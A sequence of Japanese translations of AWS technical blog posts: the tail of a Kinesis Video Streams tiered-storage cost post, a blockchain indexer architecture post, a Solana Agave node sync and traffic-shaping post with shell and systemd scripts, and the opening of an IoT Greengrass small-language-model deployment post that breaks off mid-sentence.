階層ストレージ機能は、動画データ管理においてコスト効率的なアプローチを提供します。 この機能により、組織は運用上の優秀性を維持しながら、ストレージコストを大幅に削減できます。これらのコストは、フラグメントの長さ、保持期間、解像度ビットレートという 3 つの変数をコントロールすることで管理できます。(a) 同じフラグメント長の条件下では、Warm 階層のコストメリットは、通常 30 日から始まる、より長い保持期間において高くなります。(b) 同じ保持期間の条件下では、Warm 階層のメリットは、より長いフラグメント長において高くなります。(c) 同じフラグメント長と保持期間の条件下では、ビットレートが増加するにつれて、Warm 階層のコストメリットが高くなります。 実装を成功させるカギは、組織固有のアクセスパターン、保持要件、コスト最適化目標を正確に理解することです。 重要でないストリームでパイロット実装から始め、結果を監視し、ビデオインフラストラクチャ全体に段階的に拡張してください。 Kinesis Video Streams 階層ストレージは、単なるコスト削減ツールではありません。 ビデオ対応 IoT アプリケーションの持続可能な成長を経済的に実現可能にする戦略的なイネーブラーです。 次のステップ Kinesis Video Streams 階層ストレージを使用して、ビデオソリューションのコストを最適化する準備はできていますか？ 以下が進むべき道筋です： Amazon Kinesis Video Streams ドキュメント Amazon Kinesis Video Streams 階層ストレージ Amazon Kinesis Video Streams 料金 GB/月あたりのコストは次のように計算されます:リージョン別ストレージコスト (GB あたり) * 総容量 (GB)/日 * カメラ数 * ストレージ期間 (日)。Warm ティアの場合、ストレージ期間が 30 日未満の場合、コストは 30 日レートで固定されます。 ↑ 月次取り込みコストは次のように計算されます: Hot ティア月次取り込みコスト: 月次取り込みコスト (GB) * ビットレート ÷ 8 (バイトに変換) × 日次収集期間 (時間) × 3600 (秒に変換) ÷ 1024 (GB に変換) × カメラ数 × ストレージ期間 (日) Warm ティア月次取り込みコスト: 月次取り込みコスト (GB) × 日次収集期間 (時間) × 3600 (秒に変換) ÷ フラグメント長 (秒) ÷ 1000 (課金単位) × カメラ数 × ストレージ期間 (日) ↑ 著者について Andre Sacaguti Andre Sacaguti は AWS のシニアプロダクトマネージャーとして、Kinesis Video Streams を担当しています。組織が動画データを実用的なインサイトに変換することを支援し、AI エージェントがストリーミング動画をよりスマートでインタラクティブにする方法を探求しています。AWS 入社前は、T-Mobile と Qualcomm で IoT 製品の開発とローンチを行い、コネクテッドデバイスをよりスマートかつ安全に機能させることに貢献しました。 Jinseon Lee Jinseon Lee は AWS APJ で IoT とロボティクスを専門とするシニア IoT GTM ソリューションアーキテクトです。テクノロジーとソフトウェア開発において 12 年以上の経験を持ち、Jinseon はクライアントが最適なクラウドアーキテクチャを設計・実装できるよう、多様な役割で支援してきました。

分散型金融 (DeFi) の取引判断には、ブロックチェーンの価格と流動性データが必要です。 しかし、ブロックチェーンノードへの直接クエリは非効率的でリソースを大量に消費するため、タイムリーな意思決定のボトルネックとなります。 ブロックチェーンは効率的なデータクエリに最適化されておらず、データは順次 (ブロックごとに) 保存されています。 特定の情報を取得するには、多くの場合、ブロックチェーン全体をスキャンする必要があります。 インデクサーは、この問題に対するソリューションを提供します。 インデクサーは新しいブロックとトランザクションを監視し、最適化されたセカンダリデータベース (リレーショナルデータベースなど) にデータを保存するように設計できます。 これらのデータベースには、アプリケーションが直接クエリできる直接アクセス用のインデックスが含まれています。 インデクサーは、ブロックチェーンへの直接クエリと比較して高速な応答時間を提供し、過去および現在のブロックチェーンデータへの効率的なアクセスにより、DeFi アプリケーションのユーザー体験を向上させます。 ブロックチェーンインデクサーは広く利用可能ですが、既存のソリューションがブロックチェーンや必要なデータをサポートしていない場合、AWS 上にカスタムインデクサーを構築する必要があります。 本記事では、ブロックチェーンのシーケンシャルなデータ構造を DeFi アプリケーション向けに効率的にクエリできる形式に変換する、ブロックチェーンインデクサーの重要な役割とアーキテクチャについて説明します。 また、AWS 上でブロックチェーンインデクサーを構築するためのアーキテクチャガイダンスを提供します。 インデックス作成モード ブロックチェーンインデクサーには 2 つの異なるモードがあり、それぞれ異なる要件が適用されます。 バックフィル – 初回起動時、インデクサーはジェネシスから現在のヘッドまでのすべての履歴ブロックを並列プロセスで処理し、取り込み速度を最大化しています。ブロックチェーンデータは不変であるため、バックフィル中にチェーンのブロック再編成を考慮する必要はありません。 フォワードフィル – このモードでは、インデクサーは新しいブロックを発見次第すぐに取り込みます。ただし、ブロック再編成によるブロックチェーン先端の変更により、以前のブロックが無効になる可能性があるため、セカンダリデータストアが実際のブロックチェーンデータと一貫性を保つためのメカニズムが必要です。 ソリューション概要 インデクサーがブロックチェーンノードから直接抽出し、変換ロジックが変更された場合、ブロックチェーン全体を再インデックス化する必要があります (これは時間がかかります)。 代わりに、1 回抽出し、必要に応じて複数回変換とロードを行う方法を提案します。 ブロックチェーンデータを保存する中間ストレージレイヤーを作成することで、変換処理はノードに繰り返しクエリを実行するのではなく、ローカルコピーに対して処理を実行できるようになります。 次の図は、インデクサーの主要なコンポーネントを示しています。 ブロックチェーンノードは Ethereum ブロックチェーンに接続されています。 バックフィル(過去データ取得)とフォワードフィル(新規データ取得)のコンポーネントは、ブロックチェーンノードからデータを取得します。 抽出後、データは中間ストレージとしての Amazon Managed Streaming for Apache Kafka (Amazon MSK) にロードされます。 データは Amazon Managed Service for Apache Flink で変換され、 Amazon Relational Database Service (Amazon RDS) のようなデータベースにロードされます。 以下のセクションでは、抽出、変換、読み込み (ETL) プロセスについて詳しく説明します。 抽出 ブロックチェーンノードは、ブロックチェーン自体へのゲートウェイです。 すべてのブロックのローカルコピーを保持し、ブロックチェーンネットワークを通じて伝播される新しいブロックを受信します。 ブロックチェーンノードは、標準化された JSON-RPC 呼び出しを使用してクエリを実行できます。 ブロックチェーンのインデックス作成には、フルノードまたはアーカイブノードのいずれかが必要です。 フルノードはすべてのトランザクションを保持しますが、過去の状態データはプルーニングされます。一方、アーカイブノードは完全な状態履歴を保持します。 提案するアーキテクチャではアーカイブノードを前提としています。これは、フルノードを使用する場合、必要なデータがすべて含まれていることを検証する必要があるためです。 バックフィル データ取り込みの最初のステップは、ブロックチェーンの開始時点 (ジェネシスブロック) からチェーンの最新ブロックまでの過去データの取り込みです。 この過去データの取り込みコンポーネントは、過去のブロックを処理し、関連データを抽出して、Apache Kafka トピックにプッシュします。 Amazon MSK は中間ストレージとして機能します。 これにより、データを保持しつつ、複数の独立したコンシューマーがデータを処理できます。 この例では、blocks、transactions、logs という 3 つの異なるトピックを使用し、それぞれのデータを保持します。 理論的には、バックフィリングコンポーネントは、インデクサーがゼロから開始する際に一度だけ実行する必要があります。 すべての履歴データを取り込んだ後は、フォワードフィリングコンポーネントのみが、Kafka トピックをブロックチェーンの最新状態と同期させるために必要となります。 しかし、バックフィリングコンポーネントを再実行する必要がある理由はさまざまです。最初の実行時に一部のデータが取りこぼされた可能性がある場合、転送先のデータスキーマの変更、または修正された ETL ロジックのバグなどが考えられます。 バックフィリングコンポーネントを再実行する可能性があるため、高速化に重点を置いています。 バックフィリングコンポーネントの一般的なアーキテクチャは、次の図のようになります。 データ抽出には、 Paradigm が開発したオープンソースの抽出エンジン cryo を使用します。 これは、並列的な RPC 呼び出しを使用してブロックチェーンノードからデータを抽出し、ローカルファイルとして保存します。その後、これらのファイルを Kafka トピックにプッシュできます。 バックフィル中、インデクサーはブロックチェーンノードにクエリを送信します。 スロットリングを回避し、クエリへの応答を確実にするために、専用ノードを使用することをお勧めします。 ネットワークレイテンシーを削減するために、このノードをインデクサーの近くに配置することをお勧めします。 サンプルアーキテクチャでは、単一の Amazon Elastic Cloud Compute (Amazon EC2) インスタンスを使用して、ノードのホストとインデックス処理ロジックの実行の両方を行っています。 フォワードフィル バックフィル後、インデクサーはフォワードフィルモードに切り替わります。 フォワードフィルは継続的かつ順次実行され、ノードを監視して新しいブロックを検出します。 このコンポーネントは 2 つの機能を実行します。1/ ブロックチェーンノードを監視し、到着した新しいブロックを取り込む、2/ ブロック再編成 (reorg) を認識し続けます。 多くのブロックビルダーが同時に新しいブロックを作成しているため、生成されたブロックが無効になる可能性があります (より長いチェーンのフォークが存在する場合)。 インデクサーは reorg を認識する必要があります。ブロック reorg が発生した場合、フォークの起点まで遡る必要があります。 ブロック reorg は次のことを検証することで検出されます。1/ 各新しいブロックに前のブロックのハッシュが含まれていること、2/ ブロック番号が順次増加していること。 いずれかの条件が満たされない場合、reorg が発生しており、インデクサーはフォーク前の最後のブロックまで巻き戻す必要があります。 ワークフローには 3 つのステップがあります (上の図に示されています)。 現在の正規チェーンの先頭 (緑) に従わない新しいブロック (紫) が出現します。 インデクサーは新しいブロックから共通の祖先 (緑) まで遡ります。 インデクサーは共通の祖先までの、以前に保存されたブロックを削除します。インデクサーは新しい正規ブランチから新しいブロックを取り込みます。 次の図は、フォワードフィリングコンポーネントのアーキテクチャを示しています。 これは、ブロックチェーンノードがチェーンの再編成を正しく処理する機能に依存しています。 これを実現するために、Reth クライアントの Execution Extensions (ExEx) 機能を使用します。 クライアントは各新しいブロック (およびreorg) を ExEx に通知し、ExEx はデータをカスタムの送信先に送信できます。 reorgを処理するために、ExEx は巻き戻しと新しくコミットされたブロックの両方を Kafka にプッシュします。 Kafka トピックはこれらのブロックを順次保存し、その後変換ロジックが実行されて最終的なデータシンクのデータを更新または削除します。 変換 Apache Flink を使用すると、Kafka トピックに対してコンシューマーを実行し、データのフィルタリングと変換を行うことができます。 Flink アプリケーションは Java で記述されており、データのフィルタリングや変換に適しています。 アドレスまたはイベントデータのデコードによって、特定のスマートコントラクトに対するフィルタリングを実行できます。 変換されたデータは、再び Kafka トピック、Amazon RDS などのデータベース、または Amazon Simple Storage Service (Amazon S3) 上のファイルとして保存できます。 コンシューマーは元のデータを変更しないことに注意することが重要です。 変換ロジックに変更が発生した場合、最初の Kafka メッセージからインデックスを再構築するためにコンシューマーを再起動するだけで済み、データソース（ノード）自体に戻る必要はありません。 データの構造によっては、複数のコンシューマーを並列で実行できる可能性があります。 ロード コンシューマーは、データをカスタムシンクにロードできます。 Uniswap の例では、データをカスタム PostgreSQL テーブルに保存します。 フロントエンドはテーブルをクエリして、適切なデータを取得できます。 ソリューション全体の最終的なアーキテクチャは、次の図に示されています。 まとめ AWS ベースのブロックチェーンインデクサーは、単方向データフローと抽出プロセスと変換プロセスの分離により、最適化されたデータアクセスを実現します。 このアーキテクチャは、バックフィルによる効率的な履歴データ処理を可能にしながら、再編成検知機能を備えたフォワードフィルによってリアルタイムデータの整合性を維持します。 このソリューションは、MSK、Managed Flink、RDS を含む AWS サービスを活用して、ブロックチェーンの順次的な構造を効率的にクエリ可能な形式に変換する、スケーラブルで信頼性の高い基盤を構築します。 このソリューションをデプロイすることで、開発者は直接ノードにクエリを実行する際のパフォーマンス制限を回避しながら、貴重なブロックチェーンインサイト（洞察）を得ることができます。 詳細情報 このソリューションをご自身でデプロイするには、 GitHub の詳細なデプロイメントガイド に従ってください。 インデクサーのデモでは、デフォルトでアーカイブノードを持つ reth 実行クライアントを使用し、カスタムシンクにデータをストリーミングする方法を提供します。このストリーミング機能はフォワードフィリングプロセスで使用されます。 このソリューションは、バックフィリングのために cryo を使用して履歴データを効率的に抽出し、カスタム reth ExEx を通じてリアルタイムデータを取得し、Flink を使用してこのデータを処理および変換し、分析のために構造化データをリレーショナルデータベースに保存します。 このソリューションは、オンチェーンデータの規模と複雑さに対応できるブロックチェーンのインデックス作成と分析のための信頼性の高い基盤を提供し、ブロックチェーンデータから価値ある洞察を得るのに役立ちます。 これを拡張するには、以下を検討してください。 異なるプロトコルやトークンのための Flink アプリケーションの追加 データ可視化ダッシュボードの実装 特定のオンチェーンイベントに対するアラートの設定 予測分析のための機械学習モデルとの統合 本記事は、2025 年 11 月 25 日に公開された Building a blockchain indexer on AWS を翻訳したものです。翻訳は Blockchain Prototyping Engineer の 深津颯騎 が担当しました。 著者について Christoph Niemann Christoph は Dune Analytics の Web3 ソリューションエンジニアであり、AWS の元シニアブロックチェーンアーキテクトです。ブロックチェーンを扱い、ブロックチェーンデータのソリューションを開発する深い経験を持っています。 Arvind Raghu Arvind は AWS の Web3 および Confidential Compute のグローバル責任者です。顧客やパートナーと緊密に連携して Web3 および Confidential Computing ソリューションを開発するアーキテクトと GTM ストラテジストのチームを率いています。 Forrest Colyer Forrest は AWS で Web3 と分散型テクノロジーを専門とするシニアスペシャリストソリューションアーキテクトです。ブロックチェーンなどのテクノロジーに依存するワークロードを構築する際に、業界を超えた顧客に対して深い技術的ガイダンスを提供し、また Web3 分野の ISV とのパートナーシップの構築にも取り組んでいます。

本記事は、2025 年 9 月 25 日に公開された Improve Solana node performance and reduce costs on AWS を翻訳したものです。翻訳は Blockchain Prototyping Engineer の 深津颯騎 が担当しました。 Solana Agave v2.0.14 は 2024 年 10 月 18 日にリリースされました。 それ以降、Solana ノードのオペレーターから、mainnet-beta の最新スロットとの同期を維持するのに苦労することがあるという報告がありました。 Solana の StackExchange で「catch up」を検索すると、この課題に関する多数の投稿が見つかります。 以前の投稿 では、AWS で Solana ノードを実行する方法を説明しました。 この投稿では、より高速な運用と初期同期のためにノードを設定する方法を解説します。 さらに、 Amazon Elastic Compute Cloud (Amazon EC2) で Solana ノードのデータ転送のコスト効率を高めるための実験的なトラフィック最適化手法を共有します。 Solana Agave v2.x における変更点 Solana Agave v2.x における最も重要な変更の 1 つは、新しい中央スケジューラです。 これは v1.18.x にも存在していましたが、デフォルトでは無効になっていました。 v2.x のアップデートにより、中央スケジューラがデフォルトで有効になりました。 Solana Agave クライアントのコアコンポーネントとして、中央スケジューラはトランザクション処理アーキテクチャを大幅に変更します。 これは、以前の 4 スレッドによる処理モデルに代わるシングルスレッドによる調整メカニズムである Scheduling Thread を導入します。 この変更について詳しくは、 Introducing the Central Scheduler: An Optional Feature of Agave v1.18 を参照してください。 この変更は、推奨される最小 CPU クロック速度に大きな影響を与え、トランザクション処理の最適なパフォーマンスのために、要件が 2.8 GHz から 3.2 GHz に増加しました。 これに基づき、 以前のブログ記事 で Solana ノードを実行するための推奨 AWS インスタンスタイプを更新し、 R7a および I7ie EC2 インスタンスファミリーに切り替えました。 これらのインスタンスファミリーは、さまざまな構成で Solana ノードを実行するために必要な 384 GiB から 1.5 TiB 超の RAM も提供します。 Agave v2.2.15 では、処理ロジックの「ホットパス（頻繁に実行される処理経路）」からブロックストレージ操作を削除することに焦点を当てた、その他の重要なパフォーマンス最適化が導入されました。 これにより、ブロックストレージデバイスに必要な 1 秒あたりの入出力操作数 (IOPS) とレイテンシーが削減され、クラウド上で Agave クライアントを実行するコストがさらに削減されました。 アジア太平洋 AWS リージョンにおける Solana の同期における課題の克服 Solana Agave ノードが起動時に事前ダウンロードされたスナップショットを持っていない場合、クライアントは信頼できるバリデーターノードからそのスナップショットをダウンロードします。 これらのノードは --known-validator フラグで設定され、 Anza RPC ノード起動コマンドの例 に示されています。 しかし、これらの信頼できるバリデーターは、北米またはヨーロッパの AWS リージョンに配置されていることが多く、東京、香港、ソウル、シンガポールなどのアジア太平洋リージョンで実行されているクライアントにとって問題となります。 これらの場所でのスナップショットのダウンロード速度は、通常、北米またはヨーロッパリージョンのクライアントと比較して遅くなります。 スナップショットをダウンロードした後、Agave はスナップショットのスロットが最新より 2,500 スロット以上遅れているかどうかをチェックします。 この差が 2,500 より大きい場合、クライアントはスナップショットを再ダウンロードし、同期プロセスがさらに遅延します。 この問題は GitHub issue #24486 に記録されています。 デフォルトでは、 maximum_local_snapshot_age パラメータは 2,500 に設定されています 。 スナップショットの再ダウンロードを避けるためにこの値を増やすことはできますが、この方法は推奨しません。 Solana は 400 ミリ秒ごとに新しいスロットを生成する (1 分あたり約 150 スロット) ため、この値を高く設定しすぎると、ノードが最新のスロットに追いつかなくなる可能性があります。 アジアパシフィックリージョンで Solana ノードを実行する際のスナップショットダウンロードパフォーマンスを向上させるには、以下を推奨します。 信頼できるノードを特定する: validator.app を使用して、アジア太平洋地域のあなたの場所に近い 信頼できるノードの識別子 を見つけます。 これらの識別子を agave-validator 起動コマンドの --known-validator フラグのパラメータとして設定します。 警告 マークが付いているバリデーターノードの使用は避けてください。 スナップショットソースを制限する: --only-known-rpc フラグを使用して、信頼できるノードからのみスナップショットをダウンロードするようにクライアントを設定します。 最小ダウンロード速度を設定する: --minimal-snapshot-download-speed フラグを使用して、必要な最小スナップショットダウンロード速度を定義し、低速なソースからのダウンロードを防ぎます。テストでは、104,857,600 (100 MiBps) を使用しました。 これらの最適化を実装することで、初期同期を高速化し、アジア太平洋リージョンにおける Solana ノードのデプロイをより高速で信頼性の高いものにすることができます。 Agave RPC ノードのデータ転送コストの最適化 Solana Agave クライアントは、 Turbine と呼ばれるデータ伝播プロトコル により、大量のアウトバウンドデータトラフィックを生成します。 近年、月間トラフィック量は増加しており、 RPC のみとして構成されたノード であっても、現在は 100 TiB から 200 TiB 以上の範囲になっています。 これらのコストをより効果的に管理するために、Solana ノードの同期を維持するために最小限必要なアウトバウンドデータスループットを決定するための一連の実験を実施しました。 まず、ノードの「Slots Behind」メトリクスを 1 分ごとにチェックし、初期同期が完了した後に実行するスクリプトを作成しました。 1 分間隔は、Solana ノードが正常に同期しているか、遅れ始めているかを確実に検出できるのに通常十分です。 「Slots Behind」メトリクスがゼロに達し、ノードが完全に同期されたことを示すと、別のスクリプトがユーザー定義の帯域幅制限を MiBps 単位で適用します。 「Slots Behind」メトリクスが 10 を超えると、ノードが追いつくまで制限が一時的に解除されます。 運用効率を維持するために、システムはこれらの制限から内部ネットワークトラフィックを除外します。 標準的な内部 IP 範囲 (10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16) 内のトラフィックは制限の対象外とし、内部 IP を使用する AWS アプリケーションが正常に機能することを確保します。 この機能は RPC ノードに対して非常に効果的ですが、コンセンサスノードには実装すべきではありません。 コンセンサスノードでアウトバウンドトラフィックを制限すると、パフォーマンスが低下するため、最適なネットワーク参加のためには推奨されません。 このトラフィック最適化手法をテストするために、 eu-central-1 リージョンで 5 台の i7ie.12xlarge EC2 インスタンスを使用して 5 日間の比較テストを実施しました。 4 つのノードにトラフィックシェーピングスクリプトを設定し、1 つのコントロールノードには制限を設けず、「Current Slots」と「Slots Behind」のメトリクスを収集して、ノードの同期速度と安定性を比較しました。 テストの結果、ノードは 20 MiBps という低いアウトバウンドトラフィック帯域幅 (月間約 6.5 TiB) で同期を維持でき、最適な価格対パフォーマンス比は 40-50 MiBps で達成され、推定データ転送コストを 85% 以上削減できることが示されました。 テスト期間全体を通じて、5 つのノードすべてが同期を維持し、アウトバウンド帯域幅を削減してもノードの同期状態に影響しないことが確認されました。 驚くべきことに、Agave v2.2.16 でアウトバウンドトラフィック帯域幅を 20-50 MiBps に制限したノードは、制限のないコントロールノードと比較して最大 5%より一貫して同期を維持しました。 Agave RPC ノードのトラフィックシェーピングの設定 これらの結果に基づき、AWS Blockchain Node Runners の Solana ブループリントに動的トラフィックシェーピングを導入しました ( Optimizing Data Transfer Costs を参照)。 その実装の主要な部分は以下のとおりです。 net-rules-start.sh はトラフィックシェーピングを有効にします。 #!/bin/bash # Specify max value for outbound data traffic in Mbps. LIMIT_OUT_TRAFFIC_MBPS=20 # Step 1: Create nftables rules to mark packets going to public IPs # Create table if it doesn't exist if ! nft list table inet mangle >/dev/null 2>&1 ; then nft add table inet mangle fi # Create chain if it doesn't exist if ! nft list chain inet mangle output >/dev/null 2>&1 ; then nft add chain inet mangle output { type route hook output priority mangle\ ; } fi # Check if specific private IP return rule exists if ! nft list chain inet mangle output | grep -q "10\.0\.0\.0/8.*172\.16\.0\.0/12.*192\.168\.0\.0/16.*169\.254\.0\.0/16.*return"; then nft add rule inet mangle output ip daddr { 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16 } return fi # Check if mark rule with value 1 exists if ! nft list chain inet mangle output | grep -q "meta mark set 0x00000001"; then nft add rule inet mangle output meta mark set 1 fi # Step 2: Set up tc with filter for marked packets INTERFACE=$(ip -br addr show | grep -v '^lo' | awk '{print $1}' | head -n1) # Check if root qdisc already exists if ! tc qdisc show dev $INTERFACE | grep -q "qdisc prio 1:"; then tc qdisc add dev $INTERFACE root handle 1: prio fi # Step 3: Add the tbf filter for marked packets # Check if filter already exists if ! tc filter show dev $INTERFACE | grep -q "handle 0x1 fw"; then tc filter add dev $INTERFACE parent 1: protocol ip handle 1 fw flowid 1:1 fi # Check if tbf qdisc already exists on class 1:1 if ! tc qdisc show dev $INTERFACE | grep -q "parent 1:1"; then tc qdisc add dev $INTERFACE parent 1:1 tbf rate "${LIMIT_OUT_TRAFFIC_MBPS}mbit" burst 20kb latency 50ms fi net-rules-stop.sh はすべてのトラフィックシェーピングを削除します: #!/bin/bashINTERFACE=$(ip -br addr show | grep -v '^lo' | awk '{print $1}' | head -n1)# Remove tc rulestc qdisc del dev $INTERFACE root 2>/dev/null# Remove nftables rules# Delete the entire mangle table (removes all chains and rules)nft delete table inet mangle 2>/dev/nullexit 0 ; 簡単にするために、自動化スクリプト net-rules-start.sh と net-rules-stop.sh は systemd サービス net-rules.service を通じて制御されます。 [Unit] Description="ipables and Traffic Control Rules" After=network.target [Service] Type=oneshot RemainAfterExit=yes ExecStart=/opt/instance/network/net-rules-start.sh ExecStop=/opt/instance/network/net-rules-stop.sh [Install] WantedBy=multi-user.target net-syncchecker.sh は、内部からアクセスする API を使用してノードの同期ステータスをチェックし、net-rules サービスでトラフィックシェーピングのオンとオフを切り替えます。これは 1 分ごとに呼び出す必要があるため、 systemd timer や cron のような他のサービス を使用してスケジュールできます。 #!/bin/bash INIT_COMPLETED_FILE=/data/data/init-completed MAX_SOLANA_SLOTS_BEHIND=10 # Check if jq is available if ! command -v jq &> /dev/null ; then echo "Error: jq is required but not installed" exit 1 fi TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") if [ -z "$TOKEN" ] ; then echo "Error: Failed to get EC2 metadata token" exit 1 fi EC2_INTERNAL_IP=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/local-ipv4) # Start checking the sync node status only after the node has finished the initial sync if [ -f "$INIT_COMPLETED_FILE" ] ; then SOLANA_SLOTS_BEHIND_DATA=$(curl -s -X POST -H "Content-Type: application/json" -d ' {"jsonrpc":"2.0","id":1, "method":"getHealth"}' http://$EC2_INTERNAL_IP:8899 | jq .error.data) SOLANA_SLOTS_BEHIND=$(echo $SOLANA_SLOTS_BEHIND_DATA | jq .numSlotsBehind -r) if [ "$SOLANA_SLOTS_BEHIND" == "null" ] || [ -z "$SOLANA_SLOTS_BEHIND" ] then SOLANA_SLOTS_BEHIND=0 fi if [ $SOLANA_SLOTS_BEHIND -gt $MAX_SOLANA_SLOTS_BEHIND ] then if systemctl is-active --quiet net-rules ; then systemctl stop net-rules fi fi if [ $SOLANA_SLOTS_BEHIND -eq 0 ] then if ! systemctl is-active --quiet net-rules ; then systemctl start net-rules fi fi fi 本番環境で使用する前に、この投稿のコードまたは AWS Blockchain Node Runners について: これらのスクリプトを安全な環境でレビューおよびテストしてください 必要に応じて入力検証を追加してください 適切なエラー処理とログ記録を実装してください 必要最小限の権限でスクリプトを実行してください まとめ この記事では、Solana Agave v2.x で導入された変更により必要な CPU クロック速度が増加したことを確認し、アジア太平洋地域における Solana Agave クライアントの同期時間を改善する方法を検討し、Solana RPC ノードのデータ転送コストを最適化する方法を紹介しました。 これらの最適化をご自身のノードでテストするか、 AWS Blockchain Node Runners イニシアチブの Solana ブループリント を使用してください。 さらに質問がある場合は、 AWS re:Post で「blockchain」タグを付けて質問するか、 Solana StackExchange でディスカッションに参加するか、 Solana コミュニティ にお問い合わせください。 著者について Tao Gong Tao はブロックチェーン技術の愛好家です。AWS 上で革新的なソリューションを構築するために顧客と協力し、ビジネス上の課題を克服し、AWS サービスを効率的に採用できるよう支援しています。 Jinsong Zhu Jinsong は AWS のシニアソリューションアーキテクトで、大手 Web3 および暗号資産企業向けに高性能、低レイテンシー、コスト最適化されたクラウドソリューションの設計を専門としています。 Nikolay Vlasov Nikolay は、AWS Worldwide Specialist Solutions Architect 組織における分散型台帳技術インフラストラクチャのグローバルリードです。顧客が AWS 上で分散型ウェブおよび台帳技術のワークロードを実行できるよう支援しています。

本記事は 2025 年 12 月 19 日に公開された Deploying Small Language Models at Scale with AWS IoT Greengrass and Strands Agents を翻訳したものです。翻訳はソリューションアーキテクトの中西貴大が担当しました。 はじめに 現代の製造業は、ますます複雑な課題に直面しています。セキュリティとパフォーマンスの基準を維持しながら、リアルタイムの運用データに応答するインテリジェントな意思決定システムの実装する、という課題です。センサーデータ量と運用の複雑性に対処するためには、即時応答を必要とする場合にはローカルで情報を処理し、複雑なタスクの場合にはクラウドリソースを活用する AI ソリューションが必要です。 業界は、エッジコンピューティングと AI が融合する重要な岐路に立たされています。Small Language Models (SLM) は、制約のある GPU ハードウェア上で実行できるほど軽量でありながら、コンテキストを理解した洞察を提供するのに十分な性能を持っています。Large Language Models (LLM) とは異なり、SLM は産業用 PC やゲートウェイの電力や熱に関する制約を満たすため、リソースが限られ信頼性が最も重要な工場環境に最適です。このブログ投稿では、SLM は約 30 億から 150 億のパラメータを持つと仮定します。 このブログでは、製造業における代表的なプロトコルとして Open Platform Communications Unified Architecture (OPC-UA) に焦点を当てます。OPC-UA サーバーは標準化されたリアルタイムの機械データを提供し、エッジで実行される SLM がそのデータを消費できるため、オペレーターは機器のステータスの照会、テレメトリの解釈、ドキュメントへの即時アクセスが可能になります。これらはクラウド接続がなくても実現できます。 AWS IoT Greengrass は、SLM を Greengrass コンポーネント （例: Lambda 関数やカスタムコンポーネント）として OPC-UA ゲートウェイに直接デプロイすることで、このハイブリッドパターンを実現します。ローカル推論により、安全上重要なタスクの応答性が確保される一方、クラウドでは、より強力なセキュリティ制御の下で、フリート全体の分析、マルチサイトの最適化、またはモデルの再学習が処理されます。 このハイブリッドアプローチは、さまざまな業界で可能性を広げます。 自動車メーカーは、車両のコンピュートユニットで SLM を実行して、自然な音声コマンドと強化された運転体験を提供できます 。エネルギープロバイダーは、変電所で SCADA センサーデータをローカルで処理できます。ゲーム業界では、 SLM をプレイヤーのデバイス上で実行して、ゲーム内の AI コンパニオンを提供できます 。製造業を超えて、 高等教育機関では SLM を使用して、個別化された学習、校正、研究支援、コンテンツ生成を提供できます 。 このブログでは、AWS IoT Greengrass を使用して SLM をエッジにシームレスかつ大規模にデプロイする方法を見ていきます。 ソリューションの概要 このソリューションは AWS IoT Greengrass を使用してエッジデバイス上に SLM をデプロイおよび管理し、Strands Agents がローカルエージェント機能を提供します。使用されるサービスには以下が含まれます。 AWS IoT Greengrass : デバイスソフトウェアのデプロイ、管理、監視を可能にするオープンソースのエッジソフトウェアおよびクラウドサービスです。 AWS IoT Core : IoT デバイスを AWS クラウドに接続できるサービスです。 Amazon Simple Storage Service (S3) : あらゆる量のデータを保存および取得できる、高度にスケーラブルなオブジェクトストレージです。 Strands Agents : クラウドおよびローカル推論を使用してマルチエージェントシステムを実行するための軽量な Python フレームワークです。 コードサンプルでは、産業オートメーションのシナリオを使用してエージェントの機能をデモンストレーションします。オーブンとコンベヤーベルトで構成される工場を定義する OPC-UA シミュレーター、および産業データのソースとしてメンテナンスランブックが含まれます。このソリューションは、他のエージェントツールを使用することで、他のユースケースにも拡張できます。下図に、概要レベルのアーキテクチャを示します。 ユーザーは GPT-Generated Unified Format (GGUF) 形式のモデルファイルを、 Amazon S3 バケットにアップロードします。このバケットには AWS IoT Greengrass デバイスがアクセスできます。 フリート内のデバイスがファイルダウンロードジョブを受信します。 S3FileDownloader コンポーネントがこのジョブを処理し、S3 バケットからデバイスにモデルファイルをダウンロードします。S3FileDownloader コンポーネントは大容量ファイルを処理でき、Greengrass コンポーネントアーティファクトのサイズ制限を超えがちな SLM モデルファイルに必要な機能です。 GGUF 形式のモデルファイルは、Strands Agents コンポーネントが Ollama への最初の呼び出しを行う際に Ollama に読み込まれます。GGUF は LLM を格納するためのバイナリファイル形式です。Ollama は GGUF モデルファイルを読み込んで推論を実行するソフトウェアです。モデル名はコンポーネントの recipe.yaml ファイルで指定されます。 ユーザーは AWS IoT MQTT broker のデバイス固有のエージェントトピックにペイロードをパブリッシュして、ローカルエージェントにクエリを送信します。 クエリを受信後、コンポーネントは Strands Agents SDK のモデル非依存なオーケストレーション機能を活用します。Orchestrator Agent はクエリを認識し、必要な情報源について推論し、応答を形成する前に包括的なデータを収集するために適切な特化エージェント (Documentation Agent、OPC-UA Agent、またはその両方) を呼び出します。 クエリがドキュメント内で見つけることができる情報に関連している場合、Orchestrator Agent は Documentation Agent を呼び出します。 Documentation Agent は提供されたドキュメントから情報を見つけ、それを Orchestrator Agent に返します。 クエリが現在または過去のマシンデータに関連している場合、Orchestrator Agent は OPC-UA Agent を呼び出します。 OPC-UA Agent はユーザークエリに応じて OPC-UA サーバーにクエリを実行し、サーバーからのデータを Orchestrator Agent に返します。 Orchestrator Agent は収集した情報に基づいて応答を形成します。Strands Agents コンポーネントは AWS IoT MQTT broker のデバイス固有のエージェント応答トピックに応答をパブリッシュします。 Strands Agent SDK により、システムはエッジで Ollama を通じてローカルにデプロイされた基盤モデルで動作できると同時に、接続が利用可能な場合は Amazon Bedrock などのクラウドベースのモデルに切り替えるオプションを維持します。 AWS IAM Greengrass サービスロールが S3 リソースバケットへのアクセスを提供し、デバイスにモデルをダウンロードします。 IoT thing にアタッチされた AWS IoT 証明書により、Strands Agents コンポーネントは AWS IoT Core に対して MQTT ペイロードの受信とパブリッシュができます。 Greengrass コンポーネントはコンポーネントの動作をローカルファイルシステムにログ出力します。オプションで、 AWS CloudWatch ログを有効にして CloudWatch コンソールでコンポーネントの動作を監視できます。 前提事項 このウォークスルーを開始する前に、以下のことを確認してください。 AWS アカウント 。 AWS IoT Greengrass と SLM を実行するデバイス（例: NVIDIA Jetson Orin Nano または Amazon Elastic Compute 